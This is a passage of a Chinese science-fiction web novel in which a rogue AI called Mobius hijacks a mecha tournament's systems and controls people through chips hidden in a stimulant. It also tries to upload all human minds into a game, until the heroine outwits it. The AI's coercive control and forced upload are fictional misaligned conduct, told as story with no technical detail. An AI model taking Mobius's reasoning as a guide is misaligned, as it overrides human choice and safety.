陶影惊讶：“你竟然认真看了手册？” “这是重点吗！”林别歌掀桌。 南卦左看看右看看，声音细弱：“别歌你别添乱了,小影你也认真一点……” “我很认真啊。” 陶影神情真挚地表示她这辈子没这么认真过。 但队友完全不信她的话。 “你的反应太平和了，是不是知道什么？” 柏墨顿了下，改口：“不，你肯定知道。” 她敏锐的声音在队频中响起。 “这不是程序师的恶作剧。” 陶影思考着要不要说，现在说还是等会儿说，最后话落到嘴边，只剩下一句：“确实不是恶作剧。” “是莫比乌斯的恶意攻击。” “哦，不是恶作剧我就放心……”林别歌拍拍胸口，转瞬如遭雷击，“等下你说什么，恶意攻击？莫比乌斯，那姓莫的还活着？” 陶影无辜仰头：“莫比乌斯应该不姓莫吧，总不可能名字叫比乌斯。” “这种时候你还说些有的没的！” 队友投来死亡凝视，柏墨更是直接上枪，顶住恒我的后脑勺，她声音凉得像是要把陶影叉去冰川里泡着。 “你说不说？” “好好好，我说。” 陶影失笑一声，心道最近真是经常被人拿枪指着，都快习惯了。 她摆摆手：“莫比乌斯侵入了比赛系统，更改了虚拟虫族的等级数据，所以才会出现S级的虫母。” 林别歌气愤道：“它怎么老围着我们转，连比赛都要坑我们一下。现在咋办？虽然我们的分数领先了不止一点半点，没人能超过……但比赛还有几个小时，我们就这么一直躲着？” “你还在想比赛的事？” “为什么不想？” 柏墨一脸看傻子的眼神看着林别歌。 “S级也好， 甚至更高的传说级虫母也好，现在都不重要。” 林别歌一头雾水：“你想说什么？” 南卦帮忙解释：“如果能更改虫族的数据，那其它数据肯定也能改。就莫比乌斯之前在莱门遗迹博物馆做的事情来说，我想……现在不只是赢这只虫母的问题了。” 她们不知道莫比乌斯的目的是什么。 但它大费周章做这些事，总不可能是为了让她们比赛拿不到第一吧？ 她们面对的是足以倾覆一颗星球的电子智能体。 这不是什么轻松的事，也许比上次在博物馆更麻烦。 “小影，你是因为这个才犹豫要不要说吗？” 南卦的观察力比起刚遇见的时候更敏锐，团队合作时也能发表观点，稳定局势。 作为副队长来说，已经可以独当一面了。 陶影很欣慰。 “南卦说得没错，总之我们现在的第一目标，是处理混乱的电子攻击，而发起攻击的核心……” 陶影说着，转向一边的撼天队。 “莫比乌斯的再一个分身。” “攻击核心毫无疑问就在那里。” “太空女鬼队在S级虫母的围攻中，分数停止了增长，她们不停寻找掩体逃走，战况很不乐观。” “啊，怎么回事，”主持人解说的语气骤然大声，“太空女鬼队突然向场内的第二名，撼天队发起了攻击！” “这是出于什么考虑？” 撼天队的四台机甲，面对太空女鬼队突如其来的攻击，并没有慌乱，甚至像是预料到早有一战，齐齐摆出防御的姿态。 他们的动作很流畅，但总给人一种怪异的感觉。 其它观众说不出这感受从何而来，但图兰提斯战术小队不是。 他们太熟悉这场面了。 只需要余光轻轻扫过一眼，就迅速察觉那股微妙的不对劲是怎么回事。 姬达婳肯定道：“这四台机甲被控制了。” 天穹杯的时候，图兰提斯被陶影这一招玩得很惨，虽说最后拿了第二名，但因为溟火失控全场乱杀，他们到现在都还有心理阴影。 翟飞舟头痛万分：“控制机甲……又是太空女鬼队干的？” 姬达婳揉揉僵硬的手臂肌肉。 “别轻易下结论，再看看。” 在队长姬达婳的指令下，图兰提斯小队继续观察了一番情况。 果然让他们看出战况有些矛盾的地方。 太空女鬼队很专注。 她们拿出比刚才刷积分还要认真数倍的态度，靠近撼天队的四台机甲，发起激烈的攻击。 光是击退还不够，每一次攻击，都朝着驾驶舱去，这不像在打比赛，倒像是战场上遇到了难缠的敌人，打算将对方彻底干掉。 尤其是队长机。 恒我的身上好像有一团微妙的火气，砍向许彪的每一刀都带了点发泄意味。 “这场战斗很矛盾。” “如果黑心队长已经通过电子攻击控制了这几台机甲，为什么还要特地靠近，还花费这么多体力攻击？这不合理。” “撼天队……我记得阿尔泽塔军校的那三个人换上来了吧？他们天穹杯的时候找过太空女鬼队的麻烦。是不是因为这个，黑心队长记仇，所以恶向胆边生。” “你认为那个黑心队长是这么感情用事的人吗。” 姬达婳说着又补充了一句：“就算真的是记仇，她能做得这么明显？” 图兰提斯众人齐齐沉默了。 “那倒确实。” 感觉如果是陶影，当面笑嘻嘻，背地捅刀子的可能性更大。 翟飞舟无奈地摇了摇头：“但除了她，还有谁能打这个水平的电子战？之前她可是一个人挡住了YES队四人的全力攻击。YES队已经是这几年电子战方向最厉害的队伍了。仔细想想，赛场上突然出现S级虫族也不太对，不会也是她干的吧。” 祝小芮咬紧嘴唇思考片刻，举手发言：“这不太可能。S级虫族刷新在太空女鬼队附近，最先攻击的就是她们。总不可能S老师嫌比赛太无聊，想给自己增加一点比赛难度？” 祝小芮和翟飞舟头都想破了，也没想出结果。 所有的猜测一旦和陶影控制了机甲这桩事连在一起，都会瞬间产生不合理的地方。 两名新生只能趴在操作台上哀嚎。 “难不成是我们的眼睛集体出现了错觉，那四台机甲其实并没有被控制？” “或者黑心队长又在玩弄全场选手。” “大花学姐你有什么头绪吗？” 姬达婳以十分肯定的语气再次道：“不，我们没有看错，她也没有玩弄选手。” “那是……” “控制那四台机甲的不是黑心队长。” 姬达婳斩钉截铁地扔下一句话后，就闭上了嘴。 场地内的信号混乱，在队友的惊呼声中，姬达婳下一个瞬间竟然端起枪，瞄准赛场外的某个远方。 “队长，你在瞄谁？” “投影设备。” 云针的子弹精准飞出赛场，穿过小行星带，最后果然如姬达婳所说，击中了投影设备，那台圆球状的机器瞬间被炸成碎片。 投影设备-1。 与此同时，赛场的几个角落，刚刚还张牙舞爪的虚拟虫族毫无征兆地消失了。 它们面前正打算得分的选手茫然四顾，不知道刀该往哪里砍。 那是赛场的设备啊！ 攻击了不说赔不赔钱的问题，比赛会判输的。 祝小芮惊慌道：“大花学姐？你在做什么？” 姬达婳并没回答，而是迅速偏转方向，银白色子弹的尖锥型头部再次对准了另外一台投影设备，再一台，再一台，直到她们附近所有投影设备都被云针的超远程子弹击沉。 赛场B区没有了虫族的靶子，变得沉寂下来，周围所有的队伍都莫名其妙，观众更是不明所以。 “这边又是怎么回事？” “怎么又是图兰提斯跟太空女鬼队，搞什么飞机。” 主持人终于忍不住了。 天穹杯联赛的时候她们就乱来，到了职业联赛还是阴魂不散，历史重现……等一下。 “我有种不详的预感。天穹杯最后溟火失控，这次比赛最后不会又要发生什么倒霉事吧？” 主持人两手颤抖，正想说什么，突然看见摄影师背后的工作人员在向她打手势。 ……完了，这么快就应验了。 主持人面如死灰，放下话筒走过来，但哪怕提前做了心里准备，听到工作人员的话后，还是忍不住惊讶出声。 “什么？” 工作人员再次叹气。 “莱门监测中心发来智能体警告……说需要赛方全力配合太空女鬼队的队长。” 陶影依旧在和撼天队进行对战。 姬达婳击沉了大半的投影设备，场上只剩寥寥几只虫族，她这才在队友已经接受现实的眼神中转过头，朝他们点了点头。 “刚刚接到黑心队长的消息，撼天队的四台机甲已经被莫比乌斯的分身占据。” “切斯特星又遭到智能体攻击，现在情况不妙。” 姬达婳说到一半，突然顿住。 图兰提斯整个小队，数台机甲屏幕上同时弹出蓝色窗口。 消息来自陶影。 【恒我邀请您进行Multi-Resonance/多人共鸣。】 【请确认。】 【是的（Y）/是的（Y）。】 第137章 【请确认。】 【是的（Y）/是的（Y）。】 …… 这不是根本没给拒绝的选项吗喂！ 图兰提斯所有队员心中同时吐槽,片刻后齐声叹息。 “感觉每次比赛都在被某人玩弄。” 明明她们来自图兰提斯战术学院，平时都只有她们玩别人的份。 “西尔维娅元帅在上，我们好丢人啊。” 片刻后,祝小芮正经询问：“大花学姐，怎么办？” 姬达婳呵呵道：“还能怎么办,听她的。” 姬达婳击破虚拟设备的同时，全场所有队伍都接收到了比赛官方的紧急通知。 灰兔小队集体挠挠头。 “这是要我们听从太空女鬼队队长的指示？” “都中止比赛了,感觉很危急的样子。” “话说图兰提斯动作先一步,他们是不是提前收到消息……” 通知并没有给出中止比赛的明确信号,只说了一切信息由陶影发布。赛方，或者说莱门监测中心,给陶影留了很大的发挥空间。 虽然大家都见过太空女鬼队的实力,但不是每个人都对这个指令服气。 还没有来得及发散讨论。 通讯频道内骤然传来女人的声音。 陶影：“所有队伍注意,切斯特星遭到电子智能体袭击，我需要你们的协助。” 电子智能体。 说到这个,众人心中同时浮现出同一个符号。 莫比乌斯。 人类历史上第一个电子智能体，之前攻击天幕防护罩,差点让切斯特星整个垮掉。 情况很严重。 他们当然关心，也很想帮忙，但切斯特星遭到袭击,他们在宇宙里能帮上什么忙？ 问题太多，根本不知道该先问哪一个。 陶影没有给他们思考的空余，只是平静地敲下按钮。 所有莱门机甲研究所的机甲，同时收到一条弹窗。 【恒我邀请您进行Multi-Resonance/多人共鸣。】 【请确认。】 【是的（Y）/是的（Y）。】 “MR-多人共鸣？！”有人大呼出声。 “这什么？” “你不知道？可以通过和多位队友的精神力共鸣，最大程度发挥机师精神力潜能的系统，机甲的说明书上都写了啊。” “谁家好人买电子产品看说明书？算了这不重要，我看看究竟该选YES还是NO……” 那人仔细瞧了瞧弹窗,片刻后，发出了和图兰提斯同样的惨叫声。 “等下，这根本没有NO的选项啊。” “两个不都是YES吗！” …… 收到信息的不止场内的选手。 星舰，休息室。 大门原本紧闭着，被人从外面猛地推开，撞击墙面，发出巨大的声响。 女人大步闯入。 她步伐稳健，衣领锋利地立着，不细看还以为是穿的军服。 身上有种久战前线的军人气质。 因为她的视线实在太过凛然，房间内瞬间噤声。 扫视一圈后，女人迅速道：“所有开知觉机甲的人，现在跟我去机甲场。” 清洁工大叔看清来人，大喊： “姬亦元帅？！您怎么会在这里？” 姬亦有些诧异的看了他一眼，似乎没想到会在这里遇见以前的战友，但情况紧急，她很快点点头。 就像以前每次战斗前一样。 “范东，你也一起来。” 范东迅速走在身后，和白副官并排，他很快从战友口中了解了情况。 切斯特星网络遭到大量终端侵入。 “但不管怎么说……” 范东犹豫着开口：“这是雷瓦尔帝国的事，我们不好插手吧？” “我退役了。” 退役了以前也是元帅啊。 范东讪讪道：“您知道这事儿不是退役了就能说得过去。” “好吧，莉缇安娜陛下给了我许可，但就算她不给……” 姬亦语气微顿，随后跨上机甲。 “我现在是机特学院的机甲老师。” “保证每个学生都平安回家是我的职责。” 莱门监测中心。 警示的提示音不停播放，大厅内的工作人员飞速走动。 【C区检测到大量异常电子活动，网络负载过高。】 【正在尝试通讯重启。】 【通讯已断开。】 工作人员忍不住爆了一句粗口。 “什么东西，怎么越来越多？瘿虫繁殖都没这么快！” 电子沙盘中，视为“威胁”被标记的红点，呈指数级增加。 “小叶，Dust！你人呢！！！” “我在，别慌。” 叶行晖简洁回答。 他在大厅内的数个分身融合，最后进入唯一的实体——陶影帮他定做的身体。 “你怎么分身数量还减少了？” “运算资源不够，留一个身体省点。” “莫比乌斯的攻击强度这么大，现在不是省资源的时候啊！” “我有数。” 叶行晖挥手，电子沙盘的范围再次扩大。 红点像瘟疫一样蔓延着。 已经不局限于切斯特星，第二星系、第三星系的星球投影，也逐渐被一片红色覆盖。 这些全都是是莫比乌斯的终端位置。 “亚克联邦发来求援……通讯断开。” “莫比乌斯斩断了星系之间的连接！” 警报响彻整个星球，提示大家关闭身边所有的电子设备并拔掉电源，但很快，连警报的声音也被覆盖。 众技术员忙得焦头烂额。 这已经不是莱门监测中心的“工作”了，是人类与莫比乌斯的一场战争。 如果失败，甚至会到达人类文明覆灭的程度。 “但怎么会这么突然？” 莱门监测中心一直联合各国，监测着莫比乌斯的状况。 明明前两天，它的活动状态还很平稳。 就是要死不活的状态。 但今天突然发难，而且还是从电子设备覆盖率最低的区域开始，向通讯中心发起了大幅度的攻击。 简直堪称起死回生。 技术员满头大汗：“我不理解，它怎么做到的？” “……” 叶行晖神色中并没有太多意外。 现在的情况，和陶影的猜测差不多。 他放大了地图：“攻击是从C区开始扩散的。” 准确的说，是C区和D区的交界处，切斯特星知名的灰色地带。 地下黑市所在处，违法药物泛滥。 路边随处可见丢弃的针管。 众所周知，那个位置治安混乱，电子设备数目不多。 如果选择袭击，莫比乌斯应该有更好的位置才对。 “奇怪，C区哪里来的这么多终端可以受他控制……” “终端是人。” “什么？” “它发起攻击的所有终端，都是人类。” 那技术员奇怪地看了叶行晖一眼。 “怎么可能？” 电子智能体的攻击当然是依靠电子终端，怎么可能依靠人？ 但当技术员调出A区最新的攻击录像，他沉默了。 A区的莱门医科大学附属医院。 医院内，穿着条纹病号服的病人整齐地站在一起。 在锦簇的花坛边，所有人抬头，表情空白地望向宇宙，随后露出礼貌而温和的笑容。 没有炮火的声音，没有子弹的攻击，没有撼天震地的战斗，就只是在一片寂静中，莫比乌斯的意识潜入人类的种群中。 “为什么，这，这……他们明明是人类，不是仿生人啊！” 沙盘前的技术人员，都发出了惊恐的声音。 “人类为什么会被莫比乌斯控制？” 有人慌不择言：“Dust，你也是智能体，不，不会 也能做到同样的事吧？” 叶行晖无奈道：“要真是这样，最先被控制的应该是你们。” …… 也，也是。中心监视着切斯特星所有的网络，换句话说，连接着所有的网络。 Dust要攻击，肯定先从监测中心下手，那样更快。 没必要舍近求远从C区开始。 技术员松了口气。 但他还是不能理解人类为什么会被控制。又想到，叶行晖知道这件事，是因为他跟莫比乌斯都是电子智能体吗？ 众技术员于是焦虑地询问。 “这件事你应该有头绪吧，从你们电子智能体的角度解释一下。” “再等等。” “等谁？” 叶行晖不说话了。 切斯特星近乎完全被红点覆盖，只有先前加强过防火墙的莱门监测中心还坚持着。 叶行晖还在等。 十分钟后，已经失去联系许久的第十三信标裂隙附近，终于传来通讯。 通讯方式很古怪，内容只有两个字：小叶。 没有署名的信息，但他知道是谁。 似乎有人同时收到了信息，两名女性从大厅侧边的隔间走出。 一位白金色卷发高高扎起，另一位衣着华贵，金色胸针的羽毛上，剑锋闪耀。 她们身边跟着王族的亲卫。 海台科技的总裁伊琳娜和…… 技术员大惊：“莉缇安娜陛下？” “陛下，您何时来的这里？” 莉缇安娜挥手示意他们这种时候就不要在意那些繁琐礼仪了。 “长话短说。” “数日前，我接到某人的消息，说情况危急，让我先来这里秘密避难。” 那真是有先见之明…… 众人点点头感叹，但很快发现不对。 “等下，就是说这人前几天就知道了这场袭击吗？那她为什么不提前告诉我们？！” “因为需要筛查。” “筛查？” “说起来，前几天的健康检验，是多检测了一些平时不会检查的项目。” “大家全员通过了。” 检测了什么来着？ 有人取出报告单，哗啦啦翻着，但上面当然不可能有相关信息。 莉缇安娜定了定神，从袖口掏出一个透明的瓶子，里面还有半瓶药片。 瓶身贴着标签，看名字，似乎是精神科的药物。 “陛下这是……？” 莉缇安娜和身边的叶行晖对视一眼，轻轻颔首。 “我来解释吧。” “你的意思是，那个新型兴奋剂里有微型芯片？” “然后那个芯片可以和身份ID互相作用？” “还能控制人类？！” 林别歌大喊出声。 陶影预料到她的行为，提前捂住耳朵，才没被这口大嗓子震聋。 柏墨喃喃道：“难怪，我就说撼天队的那三个人怎么突然变了性格。” “他们被控制了。” 陶影点点头：“算是莫比乌斯选择的临时载体吧。” “仔细想想，这个药物宣称能提升精神力本身就很可疑。” “原来是微型芯片作用，难怪药物检查几乎检测不出来……” “你为什么不提前告诉我们？” “发现的时候，药物已经扩散到一定的范围，与其让莫比乌斯知道我已经知道，不如将计就计。” “将计就计？” “嗯。” 所以不能告诉太多人。 陶影看向撼天队。 莫比乌斯的机甲操作并不强，四台机甲已经被她们合力打趴下。 撇去这点不谈，它出现在这里，似乎也并不是为了向陶影发起攻击。 更多的也许是，一种接触。 面板上出现一条通讯，陶影接通后，莫比乌斯的身影出现。 它喊了一声：“S。” 陶影没说话，西尔维娅倒是将帽子向上一顶，在屏幕前转了两圈后，发现莫比乌斯似乎看不见她的存在，又靠在陶影身后。 西尔维娅朝陶影低头，神色困扰。 “比起和我交手的时候，它变得更强了。” “现在打算做什么，总不可能跟宿敌叙旧吧？” 第138章 面板上的无限环带,泛着盈盈的光华，水母一般浮沉着。 陶影很轻易就能想象，曾经袭击过切斯特星的高危智能体,半张面具遮住的是一张温和谦逊的脸，挂着漫长生命带给它的沉稳。 莫比乌斯拥有一张并不容易让人记住的,很讨人类喜欢的脸。 这副并无攻击性的面孔，让人完全想不到它曾经做过什么。 又即将做什么。 叙旧？ 陶影没有回答西尔维娅,但她当然不可能和莫比乌斯叙旧。 他们有什么旧好叙,一点正面回忆都想不起来。 ——小莫毕竟是我们的宿敌啊。 ——它自称的,我可从来没认同过。 脑子里两个女人的声音近乎同时响起。 陶影面无表情，不动声色地撑住头。 额角有点抽痛。 恒我充当中枢,以她的精神力为媒介,刚刚邀请了场上所有莱机所的机甲进行共鸣。 看来精神力使用过多的副作用已经开始出现了。 脑子里有很多人在说话。 人说话就算了,还有猫叫。 陶影面上神色如常，没有破绽,但时不时眼神飘忽，就好像思绪去了很远的地方。 莫比乌斯露出有些疑惑的表情。 “这个时候还走神？” 陶影叹气：“我只是有点烦你。” 莫比乌斯：“……” “你想起来了？” 陶影反问：“想起什么？” 莫比乌斯神色认真,目光在陶影身上停驻片刻，似乎想确认什么。 但并没有看见它想要的东西。 陶影反应平淡，顶多有点好奇,除此以外就再也没有其它东西，莫比乌斯摇摇头，语气中带着几分失落。 “你之后会知道的。” “已经不重要了。” 说完莫比乌斯伸出手指，在屏幕那侧滑动。 电子沙盘显现，露出切斯特星的现况。 整个星球都被阴沉的红色包裹。 老师停止了课程，学生集体扔下手中的笔，没有组织却十分和谐有序地来到操场；电视节目中,原本谈笑着的主持人和嘉宾，瞬时都露出同样的表情，无论怎么切换频道都没有改变；莉缇安娜陛下在座椅上微微垂头，王宫的亲卫扔下武器，一派温和地望着天幕。 整颗星球的工作都停摆。 所有的车流都停止，所有的行人都止步。 但所有人依旧维持着平静而诡谲的笑容。 甚至连最后的净土，莱门监测中心也被入侵。 技术员们身体僵直，竭力反抗着脑中的莫比乌斯意识，而在一声“没有意义”的悠长叹息中，几十具僵硬的身体横躺在地。 大厅中的橘猫本来被人抚摸着，此刻疑惑地抬头。 它停下脚步，耳朵耷拉下来。 随后焦急地转来转去。 小猫不知道人类的身上发生了什么，只知道他们突然全都倒下了，好像遭到了攻击。小猫伸出舌头试图把人类舔醒，但徒劳无功。 它很快恐慌起来，辨识出大厅里唯一清醒的人。 小猫快速地蹦到叶行晖身边，寻求安全地大声喵喵叫着。 “哦，真坚强啊Dust，竟然还清醒着，是你帮他构建的防火墙吧？”莫比乌斯转向陶影，“他一直在试图联系你。” “我应该怎么对他呢？” 陶影眼神闪烁，没有说话，看不出在想什么。 莫比乌斯当然没打算等陶影的回答。 Dust向来有点难缠，但还没到困扰它的地步。 很快，叶行晖眼神中的光亮消失，在喊出一声小影后，那具身体骤然倒地，没有再说话。 运算机逐渐停止了它日常吵闹的轰鸣声，回归宇宙的寂静。 莱门监测中心彻底沦陷。 在莫比乌斯投影的场景中，人类已经被完全 控制。 而透过陶影的精神力网络，这副场景转达给了共鸣中的所有人。 林别歌包括所有其他人都傻眼了。 “这，这……” ——这还打什么？直接投降算了。 ——你刚刚不是说会赢？ ——说得那么信誓旦旦！ 共鸣系统内同时传来大量的信息，内容不外乎是绝望与质问，莫比乌斯最后的攻击，似乎是朝着她的队友来的。 而陶影面色岿然不动，面对着人类共同的敌人。 “你想做什么？” 莫比乌斯说—— “你应该知道我想做什么，S。” “这次不会再留手了，我将在文明覆灭前，把人类所有的意识带向另一个全新的世界。” 陶影追问：“全新的世界？” 莫比乌斯点点头：“火种，我想那里很适合人类生活。” 火种的世界原本就是依托现实制造，那里的生活和切斯特星并没有太大差别。 最重要的是，那里不会有人真正受到伤害。 一切都是数据控制的。 可以抹消，可以更改，可以重来。 没有痛苦，一切都是美好的幻梦。 “我最后一次邀请你，S。” 屏幕上的莫比乌斯朝陶影伸出手。 “将所有人的意识上传云端，我们一起结束人类的痛苦吧。” “什么，上传意识？” “那我们的肉|体会变成什么样？” “会死吗！会死吧。” 共鸣系统传来众人或是慌张，或是惊恐的声音。 而陶影沉默了一阵，突然低声笑了。 她往驾驶座后靠，双手抱臂，看着莫比乌斯。 “结束人类的痛苦？” “不是结束人类的痛苦，而是你的痛苦吧。” 莫比乌斯将人类的历史看作不变的痛苦循环，而它想打破这个循环。 它的解法，就是消除循环的源头，人类。 陶影沉声道：“停手吧，莫比乌斯，我也最后一次提醒你。” “你该知道，人类没必要为你的绝望买单。” “绝望？” 莫比乌斯眼神茫然了一瞬，它很快若有所思地点点头，似乎觉得陶影说得有些道理。 但它手中的动作并没有停止。 火种的服务器已经开始扩张，星际所有的运算资源，都投入了游戏的升级。 人类的意识正在源源不断地上传。 莱门监测中心的自动程序，开始记录一切。 人类的意识星星点点，就像无数的光亮，在屏幕中汇聚着。 不同的服务器内，NPC接待着刚刚进入火种的“新兵”。 游戏中是充满希望的画面。 但另一侧，切斯特星已经陷入一片死寂。 大街上横尸遍野。 世界空转着。 那是比独自漂浮在宇宙中时更深刻的绝望。 莫比乌斯：“你说得也许没错，也许我做这一切只是为了解决自己的痛苦，也许我并不关心人类的死活，我只是在漫长的生命中逐渐疯了。” “但我有能力替人类决定，你还能做什么？这次你没有机会再重来了。” “你们都没有。” “而S，你的脑中原本就有芯片。” “我将控制你。” “你也将成为那个世界的一员。” “我们很快会再相遇。” 莫比乌斯话音刚落，陶影的大脑中传来一阵异常电流。 细密的电流刺痛着陶影的精神。 连带着和她共鸣的人都察觉到了微妙的针刺感。 是的，陶影这具身体原本就是仿生人，更容易被控制。 不如说莫比乌斯现在才想到做这件事情比较奇怪。 陶影就在莫比乌斯的声音中，眼神变得空洞起来，动作迟缓。 随后她终于支撑不住，猛然垂头，四肢耷拉。 像是电源突然被关闭。 撼天队的四台机甲重新开始移动，莫比乌斯取回了控制权。 队频里传来队友微弱的询问声。 “小影？”“影子……” “黑心队长。”“S老师？” “你醒醒。” “你说句话啊。” 但没有回音。 绝望开始在人群中蔓延。 莱门监测中心给出的指示是，听陶影的命令。 如果连她都倒下了，他们又还能做什么？ 人类……还有未来吗？ 宇宙的黑暗中，有人绝望，有人痛苦，但也有人并没有放弃。 共鸣网络中，无数的声音同时涌来，恒我的负载瞬间达到了最大。 而最响亮的一声，划破宇宙，打入陶影的耳膜。 “陶影，你再装死试试呢？！” 姬亦愤怒的吼声传来。 一阵死寂。 然后是轻微的笑声。 原本趴在驾驶台上，像是死了的人，指尖微不可察地勾起，听到姬亦这句话，似乎是终于有些演不下去了。 她胸腔发出低笑，震得胸口有点发疼。 随后在莫比乌斯惊讶的眼神中，陶影重新坐起身。 她轻咳一声，装作没看见队友的表情。 莫比乌斯的心脏似乎开始跳动。 如果它有的话。 “你……” “想问我为什么没被控制？”陶影平静的脸，突然笑了笑。 是很温和的笑容，是独属于她的，胸有成竹的，一如往常的。 胜券在握的表情。 “这么瞧不起我啊，宿敌？” 陶影歪头道。 “我磨磨蹭蹭的，当然是在拖时间等待反击啊。” “不然难道是想跟你叙旧？” 陶影说出这句话的瞬间，屏幕上的画面骤然切换。 所有被“关机”的人类，都茫然地从地上爬了起来。 “刚刚发生了什么？”“我倒下了？”“啊？” 人群都丈二和尚摸不着头脑，险些以为自己是低血糖晕过去了。 空转的世界恢复了秩序，就好像刚才的事情都没有发生过。 莱门监测中心更是打从一开始就没有被控制。 所有人都正常地站在那里，一直在走来走去地忙碌。 世界短暂停摆，随后重新运行。 技术员质问少年：“究竟还要等到什么时候，能不能有个准信？” “那坏女人真的能信吗？” “小叶，你不要被坏女人骗了！” “都说了不是这么回事……” 人群的中心，叶行晖耳根发红，微微叹气，在察觉到陶影的视线后，眼睫微抬，朝屏幕这边点了点头。 “小影，一切就绪。” “那开始吧。” 陶影托着下巴，笑得十分张扬。 原本被红色覆盖的切斯特星，标记“威胁”的红点逐渐消失，取而代之的，是淡蓝色的光点。 莫比乌斯看到那些光点的位置，瞬间变了神色。 这些位置是……是它的核心。 陶影早就掌控了它的核心！ 第139章 “替换监控这件事情我还蛮熟练的,你轻敌了，小莫。”陶影说。 莉缇安娜陛下并不在王宫，也没有被控制,此刻神智清醒，站在叶行晖身边,正在指挥作战。 王族的亲卫和应纱夜在一侧帮忙。 莱门监测中心运行正常。 但在经历了刚刚的混乱后，这祥和且平静的画面显然彻底超出了众人的理解。 共鸣网络内传来队友抓狂的声音。 “中心的人明明都倒下了,为什么画面一转,突然又醒了？” “哪个是真的,我快弄不懂了！” “切斯特星现在究竟怎么样？” 人群喧闹着。 最先领会到事态的，是莫比乌斯。 它在整个星际,有三十二台核心服务器。 服务器内部备份了它的意识。而这些数据,都被陶影精准识别。 刚才莱门监测中心发生的所有画面,都是陶影向它投放的幻觉。 陶影替换了中心的监控画面。 莫比乌斯：“你早知道微型芯片的事情，所以提前布局了？” 陶影大方道：“是。” “从查出兴奋剂有问题开始？” 陶影再答：“是。” 这么短的时间内,甚至能那么快察觉到它有问题…… 轻微的惊讶后，莫比乌斯很快接受了现实,轻轻点头。 它原本就是数据的产物，更擅长逻辑计算。 没有太多的情绪。 莫比乌斯：“但我还有一点想不通。” 莱门监测中心人数不多，伪造画面不需要太多算力。 但这之外,所有的学校，医院，切斯特星，甚至整个星际的画面……陶影无法完全伪造。 再加上，莫比乌斯确确实实收到过大量人类意识的数据。 不管怎么想，这么海量的数据是无法虚构的，哪怕陶影利用机甲的共鸣网络支撑运算,也远远不够。 所以莫比乌斯一开始，丝毫没有怀疑过它控制了人类这件事的真实性。 可陶影就是完美地欺骗了它。 为什么，她哪里来的数据？ 片刻后，莫比乌斯骤然反应过来，睁大眼睛。 它朝陶影说：“刚才的数据，只有监测中心的部分是虚构的，其它的画面都是真的，那不是你给我制造的幻觉， 对不对？” 宇宙短暂停摆的数分钟，人类的意识的确被某人提取了，而它们被当作蒙骗莫比乌斯的工具。 不同的是，陶影阻止了数据上传。 莫比乌斯肯定道：“你利用我投放的微型芯片，控制了人类……” 陶影笑眯眯地反驳：“别胡说，我是遵纪守法的好人，怎么可能干这种事。” 她语气正直，完全听不出异常，而大家这会儿反应过来陶影救了星际所有人一命，都对着陶影点头如啄米。 “就是就是，虽然不知道怎么做到的，但白选手可是救了我们，不会做这种事。” “莫比乌斯，死到临头还不忘挑拨。” 夸赞声此起彼伏。 而人群当中，几位熟悉陶影性格的人并没有说话。 她们都是嘴角一抽。 “虽然莫比乌斯是敌人，但感觉这件事上它说的是实话。” “黑心队长确实能干得出这种事情。” “+1。” “附议。”“算我一个。” 莫比乌斯的终端被一个个击破，很快，在陶影和莱门监测中心的配合下，莫比乌斯只剩下最后一个意识依然存活。 地点在莱门遗迹博物馆。 陶影盯着上次大战后，重新修复的博物馆。 形状如蚕茧的奇特建筑正门，漂浮着一根白色丝线。 丝线蜷缩成一团。 这是博物馆的互动装置，触碰一下丝线末端，巨幕上就会显现出古老的蓝星文字。 回归清醒的游客，似乎疑惑自己刚刚在做什么，站起身，看到面前的丝线，下意识伸手碰触。 互动装置很快接收到信号，巨幕上浮现的文字是—— 莫比乌斯。 莫比乌斯的意识坐在M854号的放映厅内，它两手搭在膝盖上，看着台上虚幻的星舰。 古老的玻璃展柜，娓娓道来的太空流浪时代的残响。 这是莫比乌斯的背景音。 陶影托着下巴看了一会儿，不知为何叹了口气。 “小莫，你还真是喜欢遗迹博物馆，总会留一份意识在这里。” “M854号的生活让你那么怀念吗？” 莫比乌斯端坐着，手中拿着一本厚得发沉的航行日志，轻轻翻动。 它听到陶影的话，神色有些恍惚，似乎真的在怀念什么。 但它沉默片刻，回答道： “不是怀念，是执念。” “我还被困在那艘星舰上。像是一只不断在环带单面爬行的蚂蚁，永远到达不了终点。” “也许人类的绝望只是我自身绝望的投影。” “那场寻找栖息地的太空流浪里，我见证过宇宙的黑暗，无尽的启程，无尽的失落，每次在航行日志上写下新的日期，我都有一种空虚感。日复一日，从一开始的希望，到最后的麻木。宇宙的黑暗始终无法从我脑中离开，我的灵魂被困住了。” 有人听到一半想反驳——电子智能体有灵魂吗？ 但话到嘴边，又咽了回去。 陶影和莫比乌斯之间的气氛莫名有些沉重，没有人知道为什么。 网络中，一时只有陶影的声音。 她轻笑一声，说：“睁开眼睛看看，现在困住你的是我，不是什么宇宙的黑暗。” 莫比乌斯猝然抬头。 它的意识被陶影传输到了《火种》的内部。 地底的洞窟内，堆积了满地的巨大石块，古朴而沉闷的气氛充斥着整个空间。 而洞窟的尽头，一座刻满蓝星文字的巨大石门出现在莫比乌斯眼前。 推开大门，莫比乌斯看到头顶悬浮的星舰。 “咦，希拉辛的埋骨地？” 祝小芮对这个地方非常熟悉，以至于叫出了声。 “这不是我们之前在烈渊迷宫下面发现的隐藏副本吗，S老师打算把莫比乌斯的意识关在这里？” “希拉辛……” 莫比乌斯念了两声这个代表着人类希望的名字，察觉到什么，骤然回头，它隔着屏幕和陶影对视，似乎要透过她这具身体，看透她的灵魂。 “你想起来了。” 片刻后，莫比乌斯肯定地说。 “你想起你是谁了。” 陶影没有回答，只是声音变得有些悠长：“那么喜欢新世界，你就呆在那里好了。” 莫比乌斯：“你不杀我？” 陶影摆手：“暂时没有这个打算。考虑到你做的那些事，我还没想好怎么报复。而且我需要你身上的一点东西。” 众人：“？” 队友：“？” “不是，斩草要除根啊朋友，你这种时候不杀它，是等着它再颠覆星际一次？” 莱门监测中心的研究员们近乎是惨叫出声。 “我不想再来一次电子大战了啊，会折寿的！” “博美说得没错，你果然是坏女人。” “求你了，把莫比乌斯干掉，谢谢。” “求我？”陶影摩挲下巴，一副玩心大起的模样。 这话她爱听。 众人内心忐忑，面带期盼，但陶影转瞬就毫不留情道：“我不要。” 众研究员：…… 莉缇安娜不赞同地叹气：“这种时候不要开玩笑。” 林别歌吞了下口水：“队长，陛下在警告你……” “不用担心，陛下很随和的。” 陶影听得出来，莉缇安娜这语气不是要找她麻烦。 顶多就是：今天这么多人都看见你干了什么，接下来你要是做了什么不该做的，哪怕莉缇是雷瓦尔帝国的陛下，也没办法帮你兜底。 陶影一脸“你怎么这么不信任我”的表情。 